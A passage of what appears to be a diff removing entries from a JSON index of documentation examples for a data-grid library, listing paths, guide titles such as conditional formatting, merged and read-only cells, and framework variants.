"TypeScript" - }, - { - "docsPath": "guides/cell-features/comments/vue/example6.vue", - "file": "guides__cell-features__comments__vue__example6.vue.json", - "breadcrumb": [ - "Cell Features", - "Comments" - ], - "guide": "guides/cell-features/comments/comments.md", - "guideTitle": "Comments", - "exampleId": "example6", - "exampleTitle": "Read all comments programmatically", - "docPermalink": "/comments", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-features/conditional-formatting/angular/example1.ts", - "file": "guides__cell-features__conditional-formatting__angular__example1.ts.json", - "breadcrumb": [ - "Cell Features", - "Conditional formatting" - ], - "guide": "guides/cell-features/conditional-formatting/conditional-formatting.md", - "guideTitle": "Conditional formatting", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/conditional-formatting", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-features/conditional-formatting/javascript/example1.js", - "file": "guides__cell-features__conditional-formatting__javascript__example1.js.json", - "breadcrumb": [ - "Cell Features", - "Conditional formatting" - ], - "guide": "guides/cell-features/conditional-formatting/conditional-formatting.md", - "guideTitle": "Conditional formatting", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/conditional-formatting", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-features/conditional-formatting/react/example1.tsx", - "file": "guides__cell-features__conditional-formatting__react__example1.tsx.json", - "breadcrumb": [ - "Cell Features", - "Conditional formatting" - ], - "guide": "guides/cell-features/conditional-formatting/conditional-formatting.md", - "guideTitle": "Conditional formatting", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/conditional-formatting", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-features/conditional-formatting/javascript/example1.ts", - "file": "guides__cell-features__conditional-formatting__javascript__example1.ts.json", - "breadcrumb": [ - "Cell Features", - "Conditional formatting" - ], - "guide": "guides/cell-features/conditional-formatting/conditional-formatting.md", - "guideTitle": "Conditional formatting", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/conditional-formatting", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-features/conditional-formatting/vue/example1.vue", - "file": "guides__cell-features__conditional-formatting__vue__example1.vue.json", - "breadcrumb": [ - "Cell Features", - "Conditional formatting" - ], - "guide": "guides/cell-features/conditional-formatting/conditional-formatting.md", - "guideTitle": "Conditional formatting", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/conditional-formatting", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-features/conditional-formatting/angular/example2.ts", - "file": "guides__cell-features__conditional-formatting__angular__example2.ts.json", - "breadcrumb": [ - "Cell Features", - "Conditional formatting" - ], - "guide": "guides/cell-features/conditional-formatting/conditional-formatting.md", - "guideTitle": "Conditional formatting", - "exampleId": "example2", - "exampleTitle": "Format cells with a custom renderer", - "docPermalink": "/conditional-formatting", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-features/conditional-formatting/javascript/example2.js", - "file": "guides__cell-features__conditional-formatting__javascript__example2.js.json", - "breadcrumb": [ - "Cell Features", - "Conditional formatting" - ], - "guide": "guides/cell-features/conditional-formatting/conditional-formatting.md", - "guideTitle": "Conditional formatting", - "exampleId": "example2", - "exampleTitle": "Format cells with a custom renderer", - "docPermalink": "/conditional-formatting", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-features/conditional-formatting/react/example2.tsx", - "file": "guides__cell-features__conditional-formatting__react__example2.tsx.json", - "breadcrumb": [ - "Cell Features", - "Conditional formatting" - ], - "guide": "guides/cell-features/conditional-formatting/conditional-formatting.md", - "guideTitle": "Conditional formatting", - "exampleId": "example2", - "exampleTitle": "Format cells with a custom renderer", - "docPermalink": "/conditional-formatting", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-features/conditional-formatting/javascript/example2.ts", - "file": "guides__cell-features__conditional-formatting__javascript__example2.ts.json", - "breadcrumb": [ - "Cell Features", - "Conditional formatting" - ], - "guide": "guides/cell-features/conditional-formatting/conditional-formatting.md", - "guideTitle": "Conditional formatting", - "exampleId": "example2", - "exampleTitle": "Format cells with a custom renderer", - "docPermalink": "/conditional-formatting", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-features/conditional-formatting/vue/example2.vue", - "file": "guides__cell-features__conditional-formatting__vue__example2.vue.json", - "breadcrumb": [ - "Cell Features", - "Conditional formatting" - ], - "guide": "guides/cell-features/conditional-formatting/conditional-formatting.md", - "guideTitle": "Conditional formatting", - "exampleId": "example2", - "exampleTitle": "Format cells with a custom renderer", - "docPermalink": "/conditional-formatting", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-features/conditional-formatting/angular/example3.ts", - "file": "guides__cell-features__conditional-formatting__angular__example3.ts.json", - "breadcrumb": [ - "Cell Features", - "Conditional formatting" - ], - "guide": "guides/cell-features/conditional-formatting/conditional-formatting.md", - "guideTitle": "Conditional formatting", - "exampleId": "example3", - "exampleTitle": "Build a color scale", - "docPermalink": "/conditional-formatting", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-features/conditional-formatting/javascript/example3.js", - "file": "guides__cell-features__conditional-formatting__javascript__example3.js.json", - "breadcrumb": [ - "Cell Features", - "Conditional formatting" - ], - "guide": "guides/cell-features/conditional-formatting/conditional-formatting.md", - "guideTitle": "Conditional formatting", - "exampleId": "example3", - "exampleTitle": "Build a color scale", - "docPermalink": "/conditional-formatting", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-features/conditional-formatting/react/example3.tsx", - "file": "guides__cell-features__conditional-formatting__react__example3.tsx.json", - "breadcrumb": [ - "Cell Features", - "Conditional formatting" - ], - "guide": "guides/cell-features/conditional-formatting/conditional-formatting.md", - "guideTitle": "Conditional formatting", - "exampleId": "example3", - "exampleTitle": "Build a color scale", - "docPermalink": "/conditional-formatting", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-features/conditional-formatting/javascript/example3.ts", - "file": "guides__cell-features__conditional-formatting__javascript__example3.ts.json", - "breadcrumb": [ - "Cell Features", - "Conditional formatting" - ], - "guide": "guides/cell-features/conditional-formatting/conditional-formatting.md", - "guideTitle": "Conditional formatting", - "exampleId": "example3", - "exampleTitle": "Build a color scale", - "docPermalink": "/conditional-formatting", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-features/conditional-formatting/vue/example3.vue", - "file": "guides__cell-features__conditional-formatting__vue__example3.vue.json", - "breadcrumb": [ - "Cell Features", - "Conditional formatting" - ], - "guide": "guides/cell-features/conditional-formatting/conditional-formatting.md", - "guideTitle": "Conditional formatting", - "exampleId": "example3", - "exampleTitle": "Build a color scale", - "docPermalink": "/conditional-formatting", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-features/formatting-cells/angular/example1.ts", - "file": "guides__cell-features__formatting-cells__angular__example1.ts.json", - "breadcrumb": [ - "Cell Features", - "Formatting cells" - ], - "guide": "guides/cell-features/formatting-cells/formatting-cells.md", - "guideTitle": "Formatting cells", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/formatting-cells", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-features/formatting-cells/javascript/example1.js", - "file": "guides__cell-features__formatting-cells__javascript__example1.js.json", - "breadcrumb": [ - "Cell Features", - "Formatting cells" - ], - "guide": "guides/cell-features/formatting-cells/formatting-cells.md", - "guideTitle": "Formatting cells", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/formatting-cells", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-features/formatting-cells/react/example1.tsx", - "file": "guides__cell-features__formatting-cells__react__example1.tsx.json", - "breadcrumb": [ - "Cell Features", - "Formatting cells" - ], - "guide": "guides/cell-features/formatting-cells/formatting-cells.md", - "guideTitle": "Formatting cells", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/formatting-cells", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-features/formatting-cells/javascript/example1.ts", - "file": "guides__cell-features__formatting-cells__javascript__example1.ts.json", - "breadcrumb": [ - "Cell Features", - "Formatting cells" - ], - "guide": "guides/cell-features/formatting-cells/formatting-cells.md", - "guideTitle": "Formatting cells", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/formatting-cells", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-features/formatting-cells/vue/example1.vue", - "file": "guides__cell-features__formatting-cells__vue__example1.vue.json", - "breadcrumb": [ - "Cell Features", - "Formatting cells" - ], - "guide": "guides/cell-features/formatting-cells/formatting-cells.md", - "guideTitle": "Formatting cells", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/formatting-cells", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-features/formatting-cells/angular/example2.ts", - "file": "guides__cell-features__formatting-cells__angular__example2.ts.json", - "breadcrumb": [ - "Cell Features", - "Formatting cells" - ], - "guide": "guides/cell-features/formatting-cells/formatting-cells.md", - "guideTitle": "Formatting cells", - "exampleId": "example2", - "exampleTitle": "Apply inline styles", - "docPermalink": "/formatting-cells", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-features/formatting-cells/javascript/example2.js", - "file": "guides__cell-features__formatting-cells__javascript__example2.js.json", - "breadcrumb": [ - "Cell Features", - "Formatting cells" - ], - "guide": "guides/cell-features/formatting-cells/formatting-cells.md", - "guideTitle": "Formatting cells", - "exampleId": "example2", - "exampleTitle": "Apply inline styles", - "docPermalink": "/formatting-cells", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-features/formatting-cells/react/example2.tsx", - "file": "guides__cell-features__formatting-cells__react__example2.tsx.json", - "breadcrumb": [ - "Cell Features", - "Formatting cells" - ], - "guide": "guides/cell-features/formatting-cells/formatting-cells.md", - "guideTitle": "Formatting cells", - "exampleId": "example2", - "exampleTitle": "Apply inline styles", - "docPermalink": "/formatting-cells", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-features/formatting-cells/javascript/example2.ts", - "file": "guides__cell-features__formatting-cells__javascript__example2.ts.json", - "breadcrumb": [ - "Cell Features", - "Formatting cells" - ], - "guide": "guides/cell-features/formatting-cells/formatting-cells.md", - "guideTitle": "Formatting cells", - "exampleId": "example2", - "exampleTitle": "Apply inline styles", - "docPermalink": "/formatting-cells", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-features/formatting-cells/vue/example2.vue", - "file": "guides__cell-features__formatting-cells__vue__example2.vue.json", - "breadcrumb": [ - "Cell Features", - "Formatting cells" - ], - "guide": "guides/cell-features/formatting-cells/formatting-cells.md", - "guideTitle": "Formatting cells", - "exampleId": "example2", - "exampleTitle": "Apply inline styles", - "docPermalink": "/formatting-cells", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-features/formatting-cells/angular/example3.ts", - "file": "guides__cell-features__formatting-cells__angular__example3.ts.json", - "breadcrumb": [ - "Cell Features", - "Formatting cells" - ], - "guide": "guides/cell-features/formatting-cells/formatting-cells.md", - "guideTitle": "Formatting cells", - "exampleId": "example3", - "exampleTitle": "Custom cell borders", - "docPermalink": "/formatting-cells", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-features/formatting-cells/javascript/example3.js", - "file": "guides__cell-features__formatting-cells__javascript__example3.js.json", - "breadcrumb": [ - "Cell Features", - "Formatting cells" - ], - "guide": "guides/cell-features/formatting-cells/formatting-cells.md", - "guideTitle": "Formatting cells", - "exampleId": "example3", - "exampleTitle": "Custom cell borders", - "docPermalink": "/formatting-cells", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-features/formatting-cells/react/example3.tsx", - "file": "guides__cell-features__formatting-cells__react__example3.tsx.json", - "breadcrumb": [ - "Cell Features", - "Formatting cells" - ], - "guide": "guides/cell-features/formatting-cells/formatting-cells.md", - "guideTitle": "Formatting cells", - "exampleId": "example3", - "exampleTitle": "Custom cell borders", - "docPermalink": "/formatting-cells", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-features/formatting-cells/javascript/example3.ts", - "file": "guides__cell-features__formatting-cells__javascript__example3.ts.json", - "breadcrumb": [ - "Cell Features", - "Formatting cells" - ], - "guide": "guides/cell-features/formatting-cells/formatting-cells.md", - "guideTitle": "Formatting cells", - "exampleId": "example3", - "exampleTitle": "Custom cell borders", - "docPermalink": "/formatting-cells", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-features/formatting-cells/vue/example3.vue", - "file": "guides__cell-features__formatting-cells__vue__example3.vue.json", - "breadcrumb": [ - "Cell Features", - "Formatting cells" - ], - "guide": "guides/cell-features/formatting-cells/formatting-cells.md", - "guideTitle": "Formatting cells", - "exampleId": "example3", - "exampleTitle": "Custom cell borders", - "docPermalink": "/formatting-cells", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-features/merge-cells/angular/example1.ts", - "file": "guides__cell-features__merge-cells__angular__example1.ts.json", - "breadcrumb": [ - "Cell Features", - "Merge cells" - ], - "guide": "guides/cell-features/merge-cells/merge-cells.md", - "guideTitle": "Merge cells", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/merge-cells", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-features/merge-cells/javascript/example1.js", - "file": "guides__cell-features__merge-cells__javascript__example1.js.json", - "breadcrumb": [ - "Cell Features", - "Merge cells" - ], - "guide": "guides/cell-features/merge-cells/merge-cells.md", - "guideTitle": "Merge cells", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/merge-cells", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-features/merge-cells/react/example1.tsx", - "file": "guides__cell-features__merge-cells__react__example1.tsx.json", - "breadcrumb": [ - "Cell Features", - "Merge cells" - ], - "guide": "guides/cell-features/merge-cells/merge-cells.md", - "guideTitle": "Merge cells", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/merge-cells", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-features/merge-cells/javascript/example1.ts", - "file": "guides__cell-features__merge-cells__javascript__example1.ts.json", - "breadcrumb": [ - "Cell Features", - "Merge cells" - ], - "guide": "guides/cell-features/merge-cells/merge-cells.md", - "guideTitle": "Merge cells", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/merge-cells", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-features/merge-cells/vue/example1.vue", - "file": "guides__cell-features__merge-cells__vue__example1.vue.json", - "breadcrumb": [ - "Cell Features", - "Merge cells" - ], - "guide": "guides/cell-features/merge-cells/merge-cells.md", - "guideTitle": "Merge cells", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/merge-cells", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-features/merge-cells/angular/example2.ts", - "file": "guides__cell-features__merge-cells__angular__example2.ts.json", - "breadcrumb": [ - "Cell Features", - "Merge cells" - ], - "guide": "guides/cell-features/merge-cells/merge-cells.md", - "guideTitle": "Merge cells", - "exampleId": "example2", - "exampleTitle": "Optimizing rendering of the wide/tall merged cells", - "docPermalink": "/merge-cells", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-features/merge-cells/javascript/example2.js", - "file": "guides__cell-features__merge-cells__javascript__example2.js.json", - "breadcrumb": [ - "Cell Features", - "Merge cells" - ], - "guide": "guides/cell-features/merge-cells/merge-cells.md", - "guideTitle": "Merge cells", - "exampleId": "example2", - "exampleTitle": "Optimizing rendering of the wide/tall merged cells", - "docPermalink": "/merge-cells", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-features/merge-cells/react/example2.tsx", - "file": "guides__cell-features__merge-cells__react__example2.tsx.json", - "breadcrumb": [ - "Cell Features", - "Merge cells" - ], - "guide": "guides/cell-features/merge-cells/merge-cells.md", - "guideTitle": "Merge cells", - "exampleId": "example2", - "exampleTitle": "Optimizing rendering of the wide/tall merged cells", - "docPermalink": "/merge-cells", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-features/merge-cells/javascript/example2.ts", - "file": "guides__cell-features__merge-cells__javascript__example2.ts.json", - "breadcrumb": [ - "Cell Features", - "Merge cells" - ], - "guide": "guides/cell-features/merge-cells/merge-cells.md", - "guideTitle": "Merge cells", - "exampleId": "example2", - "exampleTitle": "Optimizing rendering of the wide/tall merged cells", - "docPermalink": "/merge-cells", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-features/merge-cells/vue/example2.vue", - "file": "guides__cell-features__merge-cells__vue__example2.vue.json", - "breadcrumb": [ - "Cell Features", - "Merge cells" - ], - "guide": "guides/cell-features/merge-cells/merge-cells.md", - "guideTitle": "Merge cells", - "exampleId": "example2", - "exampleTitle": "Optimizing rendering of the wide/tall merged cells", - "docPermalink": "/merge-cells", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-features/merge-cells/angular/example3.ts", - "file": "guides__cell-features__merge-cells__angular__example3.ts.json", - "breadcrumb": [ - "Cell Features", - "Merge cells" - ], - "guide": "guides/cell-features/merge-cells/merge-cells.md", - "guideTitle": "Merge cells", - "exampleId": "example3", - "exampleTitle": "React to merge and unmerge events", - "docPermalink": "/merge-cells", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-features/merge-cells/javascript/example3.js", - "file": "guides__cell-features__merge-cells__javascript__example3.js.json", - "breadcrumb": [ - "Cell Features", - "Merge cells" - ], - "guide": "guides/cell-features/merge-cells/merge-cells.md", - "guideTitle": "Merge cells", - "exampleId": "example3", - "exampleTitle": "React to merge and unmerge events", - "docPermalink": "/merge-cells", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-features/merge-cells/react/example3.tsx", - "file": "guides__cell-features__merge-cells__react__example3.tsx.json", - "breadcrumb": [ - "Cell Features", - "Merge cells" - ], - "guide": "guides/cell-features/merge-cells/merge-cells.md", - "guideTitle": "Merge cells", - "exampleId": "example3", - "exampleTitle": "React to merge and unmerge events", - "docPermalink": "/merge-cells", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-features/merge-cells/javascript/example3.ts", - "file": "guides__cell-features__merge-cells__javascript__example3.ts.json", - "breadcrumb": [ - "Cell Features", - "Merge cells" - ], - "guide": "guides/cell-features/merge-cells/merge-cells.md", - "guideTitle": "Merge cells", - "exampleId": "example3", - "exampleTitle": "React to merge and unmerge events", - "docPermalink": "/merge-cells", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-features/merge-cells/vue/example3.vue", - "file": "guides__cell-features__merge-cells__vue__example3.vue.json", - "breadcrumb": [ - "Cell Features", - "Merge cells" - ], - "guide": "guides/cell-features/merge-cells/merge-cells.md", - "guideTitle": "Merge cells", - "exampleId": "example3", - "exampleTitle": "React to merge and unmerge events", - "docPermalink": "/merge-cells", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-features/merge-cells/angular/example4.ts", - "file": "guides__cell-features__merge-cells__angular__example4.ts.json", - "breadcrumb": [ - "Cell Features", - "Merge cells" - ], - "guide": "guides/cell-features/merge-cells/merge-cells.md", - "guideTitle": "Merge cells", - "exampleId": "example4", - "exampleTitle": "Merge and unmerge cells programmatically", - "docPermalink": "/merge-cells", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-features/merge-cells/javascript/example4.js", - "file": "guides__cell-features__merge-cells__javascript__example4.js.json", - "breadcrumb": [ - "Cell Features", - "Merge cells" - ], - "guide": "guides/cell-features/merge-cells/merge-cells.md", - "guideTitle": "Merge cells", - "exampleId": "example4", - "exampleTitle": "Merge and unmerge cells programmatically", - "docPermalink": "/merge-cells", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-features/merge-cells/react/example4.tsx", - "file": "guides__cell-features__merge-cells__react__example4.tsx.json", - "breadcrumb": [ - "Cell Features", - "Merge cells" - ], - "guide": "guides/cell-features/merge-cells/merge-cells.md", - "guideTitle": "Merge cells", - "exampleId": "example4", - "exampleTitle": "Merge and unmerge cells programmatically", - "docPermalink": "/merge-cells", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-features/merge-cells/javascript/example4.ts", - "file": "guides__cell-features__merge-cells__javascript__example4.ts.json", - "breadcrumb": [ - "Cell Features", - "Merge cells" - ], - "guide": "guides/cell-features/merge-cells/merge-cells.md", - "guideTitle": "Merge cells", - "exampleId": "example4", - "exampleTitle": "Merge and unmerge cells programmatically", - "docPermalink": "/merge-cells", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-features/merge-cells/vue/example4.vue", - "file": "guides__cell-features__merge-cells__vue__example4.vue.json", - "breadcrumb": [ - "Cell Features", - "Merge cells" - ], - "guide": "guides/cell-features/merge-cells/merge-cells.md", - "guideTitle": "Merge cells", - "exampleId": "example4", - "exampleTitle": "Merge and unmerge cells programmatically", - "docPermalink": "/merge-cells", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-features/read-only-cells/angular/example1.ts", - "file": "guides__cell-features__read-only-cells__angular__example1.ts.json", - "breadcrumb": [ - "Cell Features", - "Read-only cells" - ], - "guide": "guides/cell-features/read-only-cells/read-only-cells.md", - "guideTitle": "Read-only cells", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/read-only-cells", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-features/read-only-cells/javascript/example1.js", - "file": "guides__cell-features__read-only-cells__javascript__example1.js.json", - "breadcrumb": [ - "Cell Features", - "Read-only cells" - ], - "guide": "guides/cell-features/read-only-cells/read-only-cells.md", - "guideTitle": "Read-only cells", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/read-only-cells", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-features/read-only-cells/react/example1.tsx", - "file": "guides__cell-features__read-only-cells__react__example1.tsx.json", - "breadcrumb": [ - "Cell Features", - "Read-only cells" - ], - "guide": "guides/cell-features/read-only-cells/read-only-cells.md", - "guideTitle": "Read-only cells", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/read-only-cells", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-features/read-only-cells/javascript/example1.ts", - "file": "guides__cell-features__read-only-cells__javascript__example1.ts.json", - "breadcrumb": [ - "Cell Features", - "Read-only cells" - ], - "guide": "guides/cell-features/read-only-cells/read-only-cells.md", - "guideTitle": "Read-only cells", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/read-only-cells", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-features/read-only-cells/vue/example1.vue", - "file": "guides__cell-features__read-only-cells__vue__example1.vue.json", - "breadcrumb": [ - "Cell Features", - "Read-only cells" - ], - "guide": "guides/cell-features/read-only-cells/read-only-cells.md", - "guideTitle": "Read-only cells", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/read-only-cells", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-features/read-only-cells/angular/example2.ts", - "file": "guides__cell-features__read-only-cells__angular__example2.ts.json", - "breadcrumb": [ - "Cell Features", - "Read-only cells" - ], - "guide": "guides/cell-features/read-only-cells/read-only-cells.md", - "guideTitle": "Read-only cells", - "exampleId": "example2", - "exampleTitle": "Make specific cells read-only", - "docPermalink": "/read-only-cells", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-features/read-only-cells/javascript/example2.js", - "file": "guides__cell-features__read-only-cells__javascript__example2.js.json", - "breadcrumb": [ - "Cell Features", - "Read-only cells" - ], - "guide": "guides/cell-features/read-only-cells/read-only-cells.md", - "guideTitle": "Read-only cells", - "exampleId": "example2", - "exampleTitle": "Make specific cells read-only", - "docPermalink": "/read-only-cells", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-features/read-only-cells/react/example2.tsx", - "file": "guides__cell-features__read-only-cells__react__example2.tsx.json", - "breadcrumb": [ - "Cell Features", - "Read-only cells" - ], - "guide": "guides/cell-features/read-only-cells/read-only-cells.md", - "guideTitle": "Read-only cells", - "exampleId": "example2", - "exampleTitle": "Make specific cells read-only", - "docPermalink": "/read-only-cells", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-features/read-only-cells/javascript/example2.ts", - "file": "guides__cell-features__read-only-cells__javascript__example2.ts.json", - "breadcrumb": [ - "Cell Features", - "Read-only cells" - ], - "guide": "guides/cell-features/read-only-cells/read-only-cells.md", - "guideTitle": "Read-only cells", - "exampleId": "example2", - "exampleTitle": "Make specific cells read-only", - "docPermalink": "/read-only-cells", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-features/read-only-cells/vue/example2.vue", - "file": "guides__cell-features__read-only-cells__vue__example2.vue.json", - "breadcrumb": [ - "Cell Features", - "Read-only cells" - ], - "guide": "guides/cell-features/read-only-cells/read-only-cells.md", - "guideTitle": "Read-only cells", - "exampleId": "example2", - "exampleTitle": "Make specific cells read-only", - "docPermalink": "/read-only-cells", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-features/read-only-cells/angular/example3.ts", - "file": "guides__cell-features__read-only-cells__angular__example3.ts.json", - "breadcrumb": [ - "Cell Features", - "Read-only cells" - ], - "guide": "guides/cell-features/read-only-cells/read-only-cells.md", - "guideTitle": "Read-only cells", - "exampleId": "example3", - "exampleTitle": "Make a column non-editable", - "docPermalink": "/read-only-cells", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-features/read-only-cells/javascript/example3.js", - "file": "guides__cell-features__read-only-cells__javascript__example3.js.json", - "breadcrumb": [ - "Cell Features", - "Read-only cells" - ], - "guide": "guides/cell-features/read-only-cells/read-only-cells.md", - "guideTitle": "Read-only cells", - "exampleId": "example3", - "exampleTitle": "Make a column non-editable", - "docPermalink": "/read-only-cells", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-features/read-only-cells/react/example3.tsx", - "file": "guides__cell-features__read-only-cells__react__example3.tsx.json", - "breadcrumb": [ - "Cell Features", - "Read-only cells" - ], - "guide": "guides/cell-features/read-only-cells/read-only-cells.md", - "guideTitle": "Read-only cells", - "exampleId": "example3", - "exampleTitle": "Make a column non-editable", - "docPermalink": "/read-only-cells", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-features/read-only-cells/javascript/example3.ts", - "file": "guides__cell-features__read-only-cells__javascript__example3.ts.json", - "breadcrumb": [ - "Cell Features", - "Read-only cells" - ], - "guide": "guides/cell-features/read-only-cells/read-only-cells.md", - "guideTitle": "Read-only cells", - "exampleId": "example3", - "exampleTitle": "Make a column non-editable", - "docPermalink": "/read-only-cells", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-features/read-only-cells/vue/example3.vue", - "file": "guides__cell-features__read-only-cells__vue__example3.vue.json", - "breadcrumb": [ - "Cell Features", - "Read-only cells" - ], - "guide": "guides/cell-features/read-only-cells/read-only-cells.md", - "guideTitle": "Read-only cells", - "exampleId": "example3", - "exampleTitle": "Make a column non-editable", - "docPermalink": "/read-only-cells", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-features/read-only-cells/angular/example4.ts", - "file": "guides__cell-features__read-only-cells__angular__example4.ts.json", - "breadcrumb": [ - "Cell Features", - "Read-only cells" - ], - "guide": "guides/cell-features/read-only-cells/read-only-cells.md", - "guideTitle": "Read-only cells", - "exampleId": "example4", - "exampleTitle": "Make specific cells non-editable", - "docPermalink": "/read-only-cells", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-features/read-only-cells/javascript/example4.js", - "file": "guides__cell-features__read-only-cells__javascript__example4.js.json", - "breadcrumb": [ - "Cell Features", - "Read-only cells" - ], - "guide": "guides/cell-features/read-only-cells/read-only-cells.md", - "guideTitle": "Read-only cells", - "exampleId": "example4", - "exampleTitle": "Make specific cells non-editable", - "docPermalink": "/read-only-cells", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-features/read-only-cells/react/example4.tsx", - "file": "guides__cell-features__read-only-cells__react__example4.tsx.json", - "breadcrumb": [ - "Cell Features", - "Read-only cells" - ], - "guide": "guides/cell-features/read-only-cells/read-only-cells.md", - "guideTitle": "Read-only cells", - "exampleId": "example4", - "exampleTitle": "Make specific cells non-editable", - "docPermalink": "/read-only-cells", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-features/read-only-cells/javascript/example4.ts", - "file": "guides__cell-features__read-only-cells__javascript__example4.ts.json", - "breadcrumb": [ - "Cell Features", - "Read-only cells" - ], - "guide": "guides/cell-features/read-only-cells/read-only-cells.md", - "guideTitle": "Read-only cells", - "exampleId": "example4", - "exampleTitle": "Make specific cells non-editable", - "docPermalink": "/read-only-cells", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": 